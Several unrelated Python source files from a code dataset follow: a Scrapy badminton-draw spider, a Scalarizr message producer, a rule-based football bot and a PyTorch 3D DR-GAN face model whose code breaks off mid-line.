CrawlerProcess({\n \"DOWNLOADER_MIDDLEWARES\": {\n 'rotating_proxies.middlewares.RotatingProxyMiddleware': 610,\n 'rotating_proxies.middlewares.BanDetectionMiddleware': 620,\n },\n 'USER_AGENT': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) '\n 'AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/65.0.3325.181 Safari/537.36',\n 'DOWNLOAD_DELAY': 0.2,\n 'ROTATING_PROXY_LIST': settings.PROXIES,\n })\n\n db = MongoClient('127.0.0.1:27017')['bwfbadminton']\n db.authenticate(settings.MONGODB_USER, settings.MONGODB_PASSWORD)\n # ---------------------------------------------------------\n tournament_ids = list()\n for tournament in db.tournament.find():\n if should_run(tournament):\n wipe_old_data(db, tournament['tournament_id'])\n tournament_ids.append(tournament['tournament_id'])\n process.crawl(DrawSpider, tournament[\"tournament_id\"], db)\n\n process.start()\n for tournament_id in tournament_ids:\n update_current_data(db, tournament_id)\n\n # ---------------For testing purpose----------------------\n # tournament_id = \"78F7CA6C-2774-46F8-8AB2-8D43429AE297\"\n # wipe_old_data(db, tournament_id)\n # process.crawl(DrawSpider, tournament_id, db)\n # process.start()\n # update_current_data(db, tournament_id)\n\n\n# def run_spider():\n# print('Starting run_spider for draws')\n# print(settings.PROXIES)\n# process = CrawlerProcess({\n# 'USER_AGENT': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) '\n# 'AppleWebKit/537.36 (KHTML, like Gecko) '\n# 'Chrome/65.0.3325.181 Safari/537.36',\n# 'DOWNLOAD_DELAY': 0.2,\n# })\n\n# db = MongoClient('127.0.0.1:27017')['bwfbadminton']\n# db.authenticate(settings.MONGODB_USER, settings.MONGODB_PASSWORD)\n# tournament_ids = list()\n# # ---------------For testing purpose----------------------\n# tournament_id = \"0583C234-7DF7-430A-B87D-6D94475FB2E9\"\n# wipe_old_data(db, tournament_id)\n# process.crawl(DrawSpider, tournament_id, db)\n# process.start()\n# update_current_data(db, tournament_id)\n\n\nif __name__ == '__main__':\n run_spider()\n","sub_path":"scripts/bwf_badminton_draw_spider_standalone.py","file_name":"bwf_badminton_draw_spider_standalone.py","file_ext":"py","file_size_in_byte":15510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"646629707","text":"from __future__ import with_statement\n'''\nCreated on Dec 5, 2009\n\n@author: marat\n'''\n\nimport logging\nimport threading\nimport time\nimport uuid\nimport httplib\nimport urllib2\nimport sys\nfrom copy import deepcopy\n\nfrom scalarizr import messaging, util\nfrom scalarizr.bus import bus\nfrom scalarizr.messaging import p2p\nfrom scalarizr.util import urltool\nfrom scalarizr.node import __node__\nfrom scalarizr.messaging.p2p import P2pMessage\n\n\nclass P2pMessageProducer(messaging.MessageProducer):\n endpoint = None\n retries_progression = None\n no_retry = False\n sender = 'daemon'\n _store = None\n _logger = None\n _stop_delivery = None\n\n def __init__(self, endpoint=None, retries_progression=None):\n messaging.MessageProducer.__init__(self)\n self.endpoint = endpoint\n if retries_progression:\n self.retries_progression = util.split_ex(retries_progression, \",\")\n else:\n self.no_retry = True\n\n self._logger = logging.getLogger(__name__)\n self._store = p2p.P2pMessageStore()\n self._stop_delivery = threading.Event()\n\n self._local = threading.local()\n self._local_defaults = dict(interval=None, next_retry_index=0, delivered=False)\n\n def shutdown(self):\n self._stop_delivery.set()\n\n def send(self, queue, message):\n self._logger.debug(\"Sending message '%s' into queue '%s'\", message.name, queue)\n\n if message.id is None:\n message.id = str(uuid.uuid4())\n self.fire(\"before_send\", queue, message)\n self._store.put_outgoing(message, queue, self.sender)\n\n if not self.no_retry:\n if not hasattr(self._local, \"interval\"):\n for k, v in self._local_defaults.items():\n setattr(self._local, k, v)\n\n self._local.delivered = False\n #while not self._local.delivered and not self._stop_delivery.isSet():\n while not self._local.delivered:\n if self._local.interval:\n self._logger.debug(\"Sleep %d seconds before next attempt\", self._local.interval)\n time.sleep(self._local.interval)\n # FIXME: SIGINT hanged\n # strace:\n # --- SIGINT (Interrupt) @ 0 (0) ---\n # rt_sigaction(SIGINT, {0x36b9210, [], 0}, {0x36b9210, [], 0}, 8) = 0\n # sigreturn() = ? (mask now [])\n\n # futex(0xa3f5d78, FUTEX_WAIT_PRIVATE, 0, NUL\n #if not self._stop_delivery.isSet():\n # self._send0(queue, message, self._delivered_cb, self._undelivered_cb)\n self._send0(queue, message, self._delivered_cb, self._undelivered_cb)\n else:\n self._send0(queue, message, self._delivered_cb, self._undelivered_cb_raises)\n\n\n def _undelivered_cb_raises(self, queue, message, ex):\n raise ex\n\n def _delivered_cb(self, queue, message):\n self._local.next_retry_index = 0\n self._local.interval = None\n self._local.delivered = True\n\n def _undelivered_cb(self, queue, message, ex):\n self._local.interval = self._get_next_interval()\n if self._local.next_retry_index < len(self.retries_progression) - 1:\n self._local.next_retry_index += 1\n\n def _get_next_interval(self):\n return int(self.retries_progression[self._local.next_retry_index]) * 60.0\n\n def _send0(self, queue, message, success_callback=None, fail_callback=None):\n try:\n use_json = __node__['message_format'] == 'json'\n data = message.tojson() if use_json else message.toxml()\n\n content_type = 'application/%s' % 'json' if use_json else 'xml'\n headers = {'Content-Type': content_type}\n\n if message.name not in ('Log',\n 'OperationDefinition',\n 'OperationProgress',\n 'OperationResult'):\n msg_copy = P2pMessage(message.name, message.meta.copy(), deepcopy(message.body))\n try:\n del msg_copy.body['chef']['validator_name']\n del msg_copy.body['chef']['validator_key']\n except (KeyError, TypeError):\n pass\n self._logger.debug(\"Delivering message '%s' %s. Json: %s, Headers: %s\",\n message.name, msg_copy.body, use_json, headers)\n\n for f in self.filters['protocol']:\n data = f(self, queue, data, headers)\n\n url = self.endpoint + \"/\" + queue\n req = urllib2.Request(url, data, headers)\n opener = urllib2.build_opener(urltool.HTTPRedirectHandler())\n opener.open(req)\n\n self._message_delivered(queue, message, success_callback)\n\n except:\n e = sys.exc_info()[1]\n # Python < 2.6 raise exception on 2xx > 200 http codes except\n if isinstance(e, urllib2.HTTPError):\n if e.code == 201:\n self._message_delivered(queue, message, success_callback)\n return\n\n self._logger.warning(\"Message '%s' not delivered (message_id: %s)\", message.name, message.id)\n self.fire(\"send_error\", e, queue, message)\n\n msg = None\n if isinstance(e, urllib2.HTTPError):\n if e.code == 401:\n self._logger.warn(\"Cannot authenticate on message server. %s\", e.msg)\n elif e.code == 400:\n self._logger.warn(\"Malformed request. %s\", e.msg)\n else:\n self._logger.warn(\"Cannot post message to %s. %s\", url, e)\n elif isinstance(e, urllib2.URLError):\n msg = (\"Scalr messaging endpoint '{0}' is unreachable. \"\n \"Cause: {1}\").format(self.endpoint, e)\n elif isinstance(e, httplib.HTTPException):\n msg = (\"Scalr messaging endpoint '{0}' answered with invalid HTTP response. \"\n \"Cause: {1}\").format(self.endpoint, e)\n else:\n self._logger.warn('Caught exception', exc_info=sys.exc_info())\n\n if msg:\n self._logger.warn(msg)\n\n # Call user code\n if fail_callback:\n fail_callback(queue, message, e)\n\n\n def _message_delivered(self, queue, message, callback=None):\n if message.name not in ('Log', 'OperationDefinition',\n 'OperationProgress', 'OperationResult'):\n self._logger.debug(\"Message '%s' delivered (message_id: %s)\",\n message.name, message.id)\n self._store.mark_as_delivered(message.id)\n self.fire(\"send\", queue, message)\n if callback:\n callback(queue, message)\n","sub_path":"src/scalarizr/messaging/p2p/producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":6923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"375850483","text":"\n# https://www.kaggle.com/shotaro/optimizing-tunable-bot-with-optuna\n## TUNABLE BASELINE BOT\n\n# Tune Here:\nSPRINT_RANGE = 0.6\n\nSHOT_RANGE_X = 0.7\nSHOT_RANGE_Y = 0.2\n\nGOALIE_OUT = 0.2\nLONG_SHOT_X = 0.4\nLONG_SHOT_Y = 0.2\n\nfrom football.util import *\nfrom math import sqrt\n\ndirections = [\n[Action.TopLeft, Action.Top, Action.TopRight],\n[Action.Left, Action.Idle, Action.Right],\n[Action.BottomLeft, Action.Bottom, Action.BottomRight]]\n\ndirsign = lambda x: 1 if abs(x) < 0.01 else (0 if x < 0 else 2)\n\nenemyGoal = [1, 0]\nGOALKEEPER = 0\n\nshot_range = [[SHOT_RANGE_X, 1],\n [-SHOT_RANGE_Y, SHOT_RANGE_Y]]\n\ndef inside(pos, area):\n return area[0][0] <= pos[0] <= area[0][1] and area[1][0] <= pos[1] <= area[1][1]\n\ndef _agent(obs):\n return agent(obs)[0]\n\n@human_readable_agent\ndef agent(obs):\n controlled_player_pos = obs['left_team'][obs['active']]\n\n if obs[\"game_mode\"] == GameMode.Penalty:\n return Action.Shot\n if obs[\"game_mode\"] == GameMode.Corner:\n if controlled_player_pos[0] > 0:\n return Action.Shot\n if obs[\"game_mode\"] == GameMode.FreeKick:\n return Action.Shot\n\n # Make sure player is running down the field.\n if 0 < controlled_player_pos[0] < SPRINT_RANGE and Action.Sprint not in obs['sticky_actions']:\n return Action.Sprint\n elif SPRINT_RANGE < controlled_player_pos[0] and Action.Sprint in obs['sticky_actions']:\n return Action.ReleaseSprint\n\n # If our player controls the ball:\n if obs['ball_owned_player'] == obs['active'] and obs['ball_owned_team'] == 0:\n\n if inside(controlled_player_pos, shot_range) and controlled_player_pos[0] < obs['ball'][0]:\n return Action.Shot\n\n elif ( abs(obs['right_team'][GOALKEEPER][0] - 1) > GOALIE_OUT\n and controlled_player_pos[0] > LONG_SHOT_X and abs(controlled_player_pos[1]) < LONG_SHOT_Y ):\n return Action.Shot\n\n else:\n xdir = dirsign(enemyGoal[0] - controlled_player_pos[0])\n ydir = dirsign(enemyGoal[1] - controlled_player_pos[1])\n return directions[ydir][xdir]\n\n # if we we do not have the ball:\n else:\n # Run towards the ball.\n xdir = dirsign(obs['ball'][0] - controlled_player_pos[0])\n ydir = dirsign(obs['ball'][1] - controlled_player_pos[1])\n return directions[ydir][xdir]\n","sub_path":"football/rulebaseE.py","file_name":"rulebaseE.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"450500238","text":"import utils, torch, time, os, pickle, imageio, math\nfrom scipy.misc import imsave\nimport numpy as np\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.autograd import Variable, grad\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\n\nimport pdb\n\nclass Encoder( nn.Module ):\n\tdef __init__( self, name, Nid, Npcode ):\n\t\tsuper(Encoder, self).__init__()\n\t\tself.input_height = 100\n\t\tself.input_width = 100\n\t\tself.input_dim = 3\n\t\tself.name = name\n\t\tself.Nid = Nid\n\t\tself.Npcode = Npcode\n\n\t\tself.conv = nn.Sequential(\n\t\t\tnn.Conv2d(self.input_dim, 64, 11, 4, 1,bias=True),\n\t\t\tnn.BatchNorm2d(64),\n\t\t\tnn.ReLU(),\n\t\t\tnn.Conv2d(64, 128, 5, 2, 1,bias=True),\n\t\t\tnn.BatchNorm2d(128),\n\t\t\tnn.ReLU(),\n\t\t\tnn.Conv2d(128, 256, 5, 2, 1,bias=True),\n\t\t\tnn.BatchNorm2d(256),\n\t\t\tnn.ReLU(),\n\t\t\tnn.Conv2d(256, 512, 5, 2, 1,bias=True),\n\t\t\tnn.BatchNorm2d(512),\n\t\t\tnn.ReLU(),\n\t\t\tnn.Conv2d(512, 320, 8 , 1, 1, bias=True),\n\t\t\tnn.Sigmoid(),\n\t\t)\n\n\t\tutils.initialize_weights(self)\n\n\tdef forward(self, input):\n\t\tx = self.conv( input )\n\t\treturn x\n\nclass Decoder( nn.Module ):\n\tdef __init__(self, Npcode, Nz, nOutputCh=4):\n\t\tsuper(Decoder, self).__init__()\n\t\tself.nOutputCh = nOutputCh\n\n\t\tself.fc = nn.Sequential(\n\t\t\tnn.Linear( 320+Npcode+Nz, 320 )\n\t\t)\n\n\t\tself.fconv = nn.Sequential(\n\t\t\tnn.ConvTranspose3d(320, 512, 4, bias=False),\n\t\t\tnn.BatchNorm3d(512),\n\t\t\tnn.ReLU(),\n\t\t\tnn.ConvTranspose3d(512, 256, 4, 2, 1, bias=False),\n\t\t\tnn.BatchNorm3d(256),\n\t\t\tnn.ReLU(),\n\t\t\tnn.ConvTranspose3d(256, 128, 4, 2, 1, bias=False),\n\t\t\tnn.BatchNorm3d(128),\n\t\t\tnn.ReLU(),\n\t\t\tnn.ConvTranspose3d(128, 64, 4, 2, 1, bias=False),\n\t\t\tnn.BatchNorm3d(64),\n\t\t\tnn.ReLU(),\n\t\t\tnn.ConvTranspose3d(64, 32, 4, 2, 1, bias=False),\n\t\t\tnn.BatchNorm3d(32),\n\t\t\tnn.ReLU(),\n\t\t\tnn.ConvTranspose3d(32, nOutputCh, 4, 2, 1, bias=False),\n\t\t\tnn.Sigmoid(),\n\t\t)\n\tdef forward(self, fx, y_pcode_onehot, z):\n\t\tfeature = torch.cat((fx, y_pcode_onehot, z),1)\n\t\tx = self.fc( feature )\n\t\tx = self.fconv( x.unsqueeze(2).unsqueeze(3).unsqueeze(4) )\n\t\treturn x\n\n\nclass generator(nn.Module):\n\tdef __init__(self, Nid, Npcode, Nz):\n\t\tsuper(generator, self).__init__()\n\n\t\tself.Genc = Encoder('Genc', Nid, Npcode)\n\t\tself.Gdec = Decoder(Npcode, Nz)\n\n\t\tutils.initialize_weights(self)\n\n\tdef forward(self, x_, y_pcode_onehot_, z_):\n\t\tfx = self.Genc( x_ )\n\t\tfx = fx.view(-1,320)\n\t\tx_hat = self.Gdec(fx, y_pcode_onehot_, z_)\n\n\t\treturn x_hat\n\nclass discriminator(nn.Module):\n\t# Network Architecture is exactly same as in infoGAN (https://arxiv.org/abs/1606.03657)\n\t# Architecture : (64)4c2s-(128)4c2s_BL-FC1024_BL-FC1_S\n\tdef __init__(self, Nid=105, Npcode=48, nInputCh=4, norm=nn.BatchNorm3d):\n\t\tsuper(discriminator, self).__init__()\n\t\tself.nInputCh = nInputCh\n\n\t\tself.conv = nn.Sequential(\n\t\t\tnn.Conv3d(nInputCh, 32, 4, 2, 1, bias=False),\n\t\t\tnorm(32),\n\t\t\tnn.LeakyReLU(0.2),\n\t\t\tnn.Conv3d(32, 64, 4, 2, 1, bias=False),\n\t\t\tnorm(64),\n\t\t\tnn.LeakyReLU(0.2),\n\t\t\tnn.Conv3d(64, 128, 4, 2, 1, bias=False),\n\t\t\tnorm(128),\n\t\t\tnn.LeakyReLU(0.2),\n\t\t\tnn.Conv3d(128, 256, 4, 2, 1, bias=False),\n\t\t\tnorm(256),\n\t\t\tnn.LeakyReLU(0.2),\n\t\t\tnn.Conv3d(256, 512, 4, 2, 1, bias=False),\n\t\t\tnorm(512),\n\t\t\tnn.LeakyReLU(0.2)\n\t\t)\n\n\t\tself.convGAN = nn.Sequential(\n\t\t\tnn.Conv3d(512, 1, 4, bias=False),\n\t\t\tnn.Sigmoid()\n\t\t)\n\n\t\tself.convID = nn.Sequential(\n\t\t\tnn.Conv3d(512, Nid, 4, bias=False),\n\t\t)\n\n\t\tself.convPCode = nn.Sequential(\n\t\t\tnn.Conv3d(512, Npcode, 4, bias=False),\n\t\t)\n\t\tutils.initialize_weights(self)\n\n\tdef forward(self, input):\n\t\tfeature = self.conv(input)\n\n\t\tfGAN = self.convGAN( feature ).squeeze(4).squeeze(3).squeeze(2)\n\t\tfid = self.convID( feature ).squeeze(4).squeeze(3).squeeze(2)\n\t\tfcode = self.convPCode( feature ).squeeze(4).squeeze(3).squeeze(2)\n\n\t\treturn fGAN, fid, fcode\n\nclass DRGAN3D(object):\n\tdef __init__(self, args):\n\t\t# parameters\n\t\tself.epoch = args.epoch\n\t\tself.sample_num = 49 \n\t\tself.batch_size = args.batch_size\n\t\tself.save_dir = args.save_dir\n\t\tself.result_dir = args.result_dir\n\t\tself.dataset = args.dataset\n\t\tself.dataroot_dir = args.dataroot_dir\n\t\tself.log_dir = args.log_dir\n\t\tself.gpu_mode = args.gpu_mode\n\t\tself.num_workers = args.num_workers\n\t\tself.model_name = args.gan_type\n\t\tself.centerBosphorus = args.centerBosphorus\n\t\tself.loss_option = args.loss_option\n\t\tif len(args.loss_option) > 0:\n\t\t\tself.model_name = self.model_name + '_' + args.loss_option\n\t\t\tself.loss_option = args.loss_option.split(',')\n\t\tif len(args.comment) > 0:\n\t\t\tself.model_name = self.model_name + '_' + args.comment\n\t\tself.lambda_ = 0.25\n\t\tself.n_critic = args.n_critic\n\t\tself.n_gen = args.n_gen\n\t\tself.c = 0.01 # for wgan\n\t\tself.nDaccAvg = args.nDaccAvg\n\t\tif 'wass' in self.loss_option:\n\t\t\tself.n_critic = 5\n\n\t\t# makedirs\n\t\ttemp_save_dir = os.path.join(self.save_dir, self.dataset, self.model_name)\n\t\tif not os.path.exists(temp_save_dir):\n\t\t\tos.makedirs(temp_save_dir)\n\t\telse:\n\t\t\tprint('[warning] path exists: '+temp_save_dir)\n\t\ttemp_result_dir = os.path.join(self.result_dir, self.dataset, self.model_name)\n\t\tif not os.path.exists(temp_result_dir):\n\t\t\tos.makedirs(temp_result_dir)\n\t\telse:\n\t\t\tprint('[warning] path exists: '+temp_result_dir)\n\n\t\t# save args\n\t\ttimestamp = time.strftime('%b_%d_%Y_%H;%M')\n\t\twith open(os.path.join(temp_save_dir, self.model_name + '_' + timestamp + '_args.pkl'), 'wb') as fhandle:\n\t\t\tpickle.dump(args, fhandle)\n\n\n\t\t# load dataset\n\t\tdata_dir = os.path.join( self.dataroot_dir, self.dataset )\n\t\tif self.dataset == 'mnist':\n\t\t\tself.data_loader = DataLoader(datasets.MNIST(data_dir, train=True, download=True,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t transform=transforms.Compose(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t [transforms.ToTensor()])),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t batch_size=self.batch_size, shuffle=True)\n\t\telif self.dataset == 'fashion-mnist':\n\t\t\tself.data_loader = DataLoader(\n\t\t\t\tdatasets.FashionMNIST(data_dir, train=True, download=True, transform=transforms.Compose(\n\t\t\t\t\t[transforms.ToTensor()])),\n\t\t\t\tbatch_size=self.batch_size, shuffle=True)\n\t\telif self.dataset == 'celebA':\n\t\t\tself.data_loader = utils.CustomDataLoader(data_dir, transform=transforms.Compose(\n\t\t\t\t[transforms.CenterCrop(160), transforms.Scale(64), transforms.ToTensor()]), batch_size=self.batch_size,\n\t\t\t\t\t\t\t\t\t\t\t\t shuffle=True)\n\t\telif self.dataset == 'MultiPie' or self.dataset == 'miniPie':\n\t\t\tself.data_loader = DataLoader( utils.MultiPie(data_dir,\n\t\t\t\t\ttransform=transforms.Compose(\n\t\t\t\t\t[transforms.Scale(100), transforms.RandomCrop(96), transforms.ToTensor()])),\n\t\t\t\tbatch_size=self.batch_size, shuffle=True) \n\t\t\tself.Nd = 337 # 200\n\t\t\tself.Np = 9\n\t\t\tself.Ni = 20\n\t\t\tself.Nz = 50\n\t\telif self.dataset == 'CASIA-WebFace':\n\t\t\tself.data_loader = utils.CustomDataLoader(data_dir, transform=transforms.Compose(\n\t\t\t\t[transforms.Scale(100), transforms.RandomCrop(96), transforms.ToTensor()]), batch_size=self.batch_size,\n\t\t\t\t\t\t\t\t\t\t\t\t shuffle=True)\n\t\t\tself.Nd = 10885 \n\t\t\tself.Np = 13\n\t\t\tself.Ni = 20\n\t\t\tself.Nz = 50\n\t\telif self.dataset == 'Bosphorus':\n#\t\t\tinclCodes = ['LFAU_9',\n#\t\t\t\t\t\t\t'LFAU_10',\n#\t\t\t\t\t\t\t'LFAU_12',\n#\t\t\t\t\t\t\t'LFAU_12L',\n#\t\t\t\t\t\t\t'LFAU_12R',\n#\t\t\t\t\t\t\t'LFAU_22',\n#\t\t\t\t\t\t\t'LFAU_27',\n#\t\t\t\t\t\t\t'LFAU_34',\n#\t\t\t\t\t\t\t'N_N',\n#\t\t\t\t\t\t\t'UFAU_2',\n#\t\t\t\t\t\t\t'UFAU_4',\n#\t\t\t\t\t\t\t'UFAU_43',\n#\t\t\t\t\t\t\t]\n\t\t\tinclCodes = []\n\n\t\t\tself.data_loader = DataLoader( utils.Bosphorus(data_dir, use_image=True, fname_cache=args.fname_cache,\n\t\t\t\t\t\t\t\t\t\t\ttransform=transforms.ToTensor(),\n\t\t\t\t\t\t\t\t\t\t\tshape=128, image_shape=256, center=self.centerBosphorus,\n\t\t\t\t\t\t\t\t\t\t\tinclCodes=inclCodes),\n\t\t\t\t\t\t\t\t\t\t\tbatch_size=self.batch_size, shuffle=True, num_workers=self.num_workers)\n\t\t\tself.Nid = 105\n\t\t\tself.Npcode = len(self.data_loader.dataset.posecodemap)\n\t\t\tself.Nz = 50\n\n\t\t# networks init\n\t\tself.G = generator(self.Nid, self.Npcode, self.Nz)\n\t\tself.D = discriminator(self.Nid, self.Npcode)\n\t\tself.G_optimizer = optim.Adam(self.G.parameters(), lr=args.lrG, betas=(args.beta1, args.beta2))\n\t\tself.D_optimizer = optim.Adam(self.D.parameters(), lr=args.lrD, betas=(args.beta1, args.beta2))\n\n\t\tif hasattr(args, 'comment1'):\n\t\t\treturn\n\t\t# fixed samples for reconstruction visualization\n\t\tpath_sample = os.path.join( self.result_dir, self.dataset, self.model_name, 'fixed_sample' )\n\t\tif args.interpolate or args.generate:\n\t\t\tprint( 'skipping fixed sample : interpolate/generate' )\n\t\telif not os.path.exists( path_sample ):\n\t\t\tprint( 'Generating fixed sample for visualization...' )\n\t\t\tos.makedirs( path_sample )\n\t\t\tnSamples = self.sample_num-self.Npcode\n\t\t\tnPcodes = self.Npcode\n\t\t\tsample_x2D_s = []\n\t\t\tsample_x3D_s = []\n\t\t\tfor iB, (sample_x3D_,sample_y_,sample_x2D_) in enumerate(self.data_loader):\n\t\t\t\tsample_x2D_s.append( sample_x2D_ )\n\t\t\t\tsample_x3D_s.append( sample_x3D_ )\n\t\t\t\tif iB > nSamples // self.batch_size:\n\t\t\t\t\tbreak\n\t\t\tsample_x2D_s = torch.cat( sample_x2D_s )[:nSamples,:,:,:]\n\t\t\tsample_x3D_s = torch.cat( sample_x3D_s )[:nSamples,:,:,:]\n\t\t\tsample_x2D_s = torch.split( sample_x2D_s, 1 )\n\t\t\tsample_x3D_s = torch.split( sample_x3D_s, 1 )\n\t\t\tsample_x2D_s += (sample_x2D_s[0],)*nPcodes\n\t\t\tsample_x3D_s += (sample_x3D_s[0],)*nPcodes\n\t#\t\tsample_x2D_s = [ [x]*nPcodes for x in sample_x2D_s ]\n\t#\t\tsample_x3D_s = [ [x]*nPcodes for x in sample_x3D_s ]\n\t#\t\tflatten = lambda l: [item for sublist in l for item in sublist]\n\t\t\tself.sample_x2D_ = torch.cat( sample_x2D_s )\n\t\t\tself.sample_x3D_ = torch.cat( sample_x3D_s )\n\t#\t\tsample_x2D_s = [sample_x2D_s[0][0].unsqueeze(0)]*nSamples\n\t\t\tself.sample_pcode_ = torch.zeros( nSamples+nPcodes, self.Npcode )\n\t\t\tself.sample_pcode_[:nSamples,0]=1\n\t\t\tfor iS in range( nPcodes ):\n\t\t\t\tii = iS%self.Npcode\n\t\t\t\tself.sample_pcode_[iS+nSamples,ii] = 1\n\t\t\tself.sample_z_ = torch.rand( nSamples+nPcodes, self.Nz )\n\t\n\t\t\tnSpS = int(math.ceil( math.sqrt( nSamples+nPcodes ) )) # num samples per side\n\t\t\tfname = os.path.join( path_sample, 'sampleGT.png')\n\t\t\tutils.save_images(self.sample_x2D_[:nSpS*nSpS,:,:,:].numpy().transpose(0,2,3,1), [nSpS,nSpS],fname)\n\t\n\t\t\tfname = os.path.join( path_sample, 'sampleGT_2D.npy')\n\t\t\tself.sample_x2D_.numpy().dump( fname )\n\t\t\tfname = os.path.join( path_sample, 'sampleGT_3D.npy')\n\t\t\tself.sample_x3D_.numpy().dump( fname )\n\t\t\tfname = os.path.join( path_sample, 'sampleGT_z.npy')\n\t\t\tself.sample_z_.numpy().dump( fname )\n\t\t\tfname = os.path.join( path_sample, 'sampleGT_pcode.npy')\n\t\t\tself.sample_pcode_.numpy().dump( fname )\n\t\telse:\n\t\t\tprint( 'Loading fixed sample for visualization...' )\n\t\t\tfname = os.path.join( path_sample, 'sampleGT_2D.npy')\n\t\t\twith open( fname ) as fhandle:\n\t\t\t\tself.sample_x2D_ = torch.Tensor(pickle.load( fhandle ))\n\t\t\tfname = os.path.join( path_sample, 'sampleGT_3D.npy')\n\t\t\twith open( fname ) as fhandle:\n\t\t\t\tself.sample_x3D_ = torch.Tensor(pickle.load( fhandle ))\n\t\t\tfname = os.path.join( path_sample, 'sampleGT_z.npy')\n\t\t\twith open( fname ) as fhandle:\n\t\t\t\tself.sample_z_ = torch.Tensor( pickle.load( fhandle ))\n\t\t\tfname = os.path.join( path_sample, 'sampleGT_pcode.npy')\n\t\t\twith open( fname ) as fhandle:\n\t\t\t\tself.sample_pcode_ = torch.Tensor( pickle.load( fhandle ))\n\n\t\tif not args.interpolate and not args.generate:\n\t\t\tif self.gpu_mode:\n\t\t\t\tself.sample_x2D_ = Variable(self.sample_x2D_.cuda(), volatile=True)\n\t\t\t\tself.sample_z_ = Variable(self.sample_z_.cuda(), volatile=True)\n\t\t\t\tself.sample_pcode_ = Variable(self.sample_pcode_.cuda(), volatile=True)\n\t\t\telse:\n\t\t\t\tself.sample_x2D_ = Variable(self.sample_x2D_, volatile=True)\n\t\t\t\tself.sample_z_ = Variable(self.sample_z_, volatile=True)\n\t\t\t\tself.sample_pcode_ = Variable(self.sample_pcode_, volatile=True)\n\n\n\t\tif self.gpu_mode:\n\t\t\tself.G.cuda()\n\t\t\tself.D.cuda()\n\t\t\tself.CE_loss = nn.CrossEntropyLoss().cuda()\n\t\t\tself.BCE_loss = nn.BCELoss().cuda()\n\t\t\tself.MSE_loss = nn.MSELoss().cuda()\n\t\t\tself.L1_loss = nn.L1Loss().cuda()\n\t\telse:\n\t\t\tself.CE_loss = nn.CrossEntropyLoss()\n\t\t\tself.BCE_loss = nn.BCELoss()\n\t\t\tself.MSE_loss = nn.MSELoss()\n\t\t\tself.L1_loss = nn.L1Loss()\n\n#\t\tprint('---------- Networks architecture -------------')\n#\t\tutils.print_network(self.G)\n#\t\tutils.print_network(self.D)\n#\t\tprint('-----------------------------------------------')\n\n\n\tdef train(self):\n\t\ttrain_hist_keys = ['D_loss',\n 'D_loss_GAN_real',\n 'D_loss_id',\n 'D_loss_pcode',\n 'D_loss_GAN_fake',\n 'D_acc',\n 'G_loss',\n 'G_loss',\n 'G_loss_GAN_fake',\n 'G_loss_id',\n 'G_loss_pcode',\n 'per_epoch_time',\n 'total_time']\n\t\tif 'recon' in self.loss_option:\n\t\t\ttrain_hist_keys.append('G_loss_recon')\n\t\tif 'dist' in self.loss_option:\n\t\t\ttrain_hist_keys.append('G_loss_dist')\n\n\t\tif not hasattr(self, 'epoch_start'):\n\t\t\tself.epoch_start = 0\n\t\tif not hasattr(self, 'train_hist') :\n\t\t\tself.train_hist = {}\n\t\t\tfor key in train_hist_keys:\n\t\t\t\tself.train_hist[key] = []\n\t\telse:\n\t\t\texisting_keys = self.train_hist.keys()\n\t\t\tnum_hist = [len(self.train_hist[key]) for key in existing_keys]\n\t\t\tnum_hist = max(num_hist)\n\t\t\tfor key in train_hist_keys:\n\t\t\t\tif key not in existing_keys:\n\t\t\t\t\tself.train_hist[key] = [0]*num_hist\n\t\t\t\t\tprint('new key added: {}'.format(key))\n\n\t\tif self.gpu_mode:\n\t\t\tself.y_real_ = Variable((torch.ones(self.batch_size,1)).cuda())\n\t\t\tself.y_fake_ = Variable((torch.zeros(self.batch_size,1)).cuda())\n\t\telse:\n\t\t\tself.y_real_ = Variable((torch.ones(self.batch_size,1)))\n\t\t\tself.y_fake_ = Variable((torch.zeros(self.batch_size,1)))\n\n\t\tnPairs = self.batch_size*(self.batch_size-1)\n\t\tnormalizerA = self.data_loader.dataset.muA/self.data_loader.dataset.stddevA # normalization\n\t\tnormalizerB = self.data_loader.dataset.muB/self.data_loader.dataset.stddevB # normalization\n\t\teps = 1e-16\n\n\t\tself.D.train()\n\t\tstart_time = time.time()\n\t\tprint('training start from epoch {}!!'.format(self.epoch_start+1))\n\t\tfor epoch in range(self.epoch_start, self.epoch):\n\t\t\tself.G.train()\n\t\t\tepoch_start_time = time.time()\n\t\t\tstart_time_epoch = time.time()\n\n\t\t\tfor iB, (x3D_, y_, x2D_ ) in enumerate(self.data_loader):\n\t\t\t\tif iB == self.data_loader.dataset.__len__() // self.batch_size:\n\t\t\t\t\tbreak\n\n\t\t\t\tz_ = torch.rand((self.batch_size, self.Nz))\n\t\t\t\ty_random_pcode_ = torch.floor(torch.rand(self.batch_size)*self.Npcode).long()\n\t\t\t\ty_random_pcode_onehot_ = torch.zeros( self.batch_size, self.Npcode )\n\t\t\t\ty_random_pcode_onehot_.scatter_(1, y_random_pcode_.view(-1,1), 1)\n\t\t\t\ty_id_ = y_['id']\n\t\t\t\ty_pcode_ = y_['pcode']\n\t\t\t\ty_pcode_onehot_ = torch.zeros( self.batch_size, self.Npcode )\n\t\t\t\ty_pcode_onehot_.scatter_(1, y_pcode_.view(-1,1), 1)\n\n\t\t\t\tif self.gpu_mode:\n\t\t\t\t\tx2D_, z_ = Variable(x2D_.cuda()), Variable(z_.cuda())\n\t\t\t\t\tx3D_ = Variable(x3D_.cuda())\n\t\t\t\t\ty_id_ = Variable( y_id_.cuda() )\n\t\t\t\t\ty_pcode_ = Variable(y_pcode_.cuda())\n\t\t\t\t\ty_pcode_onehot_ = Variable( y_pcode_onehot_.cuda() )\n\t\t\t\t\ty_random_pcode_ = 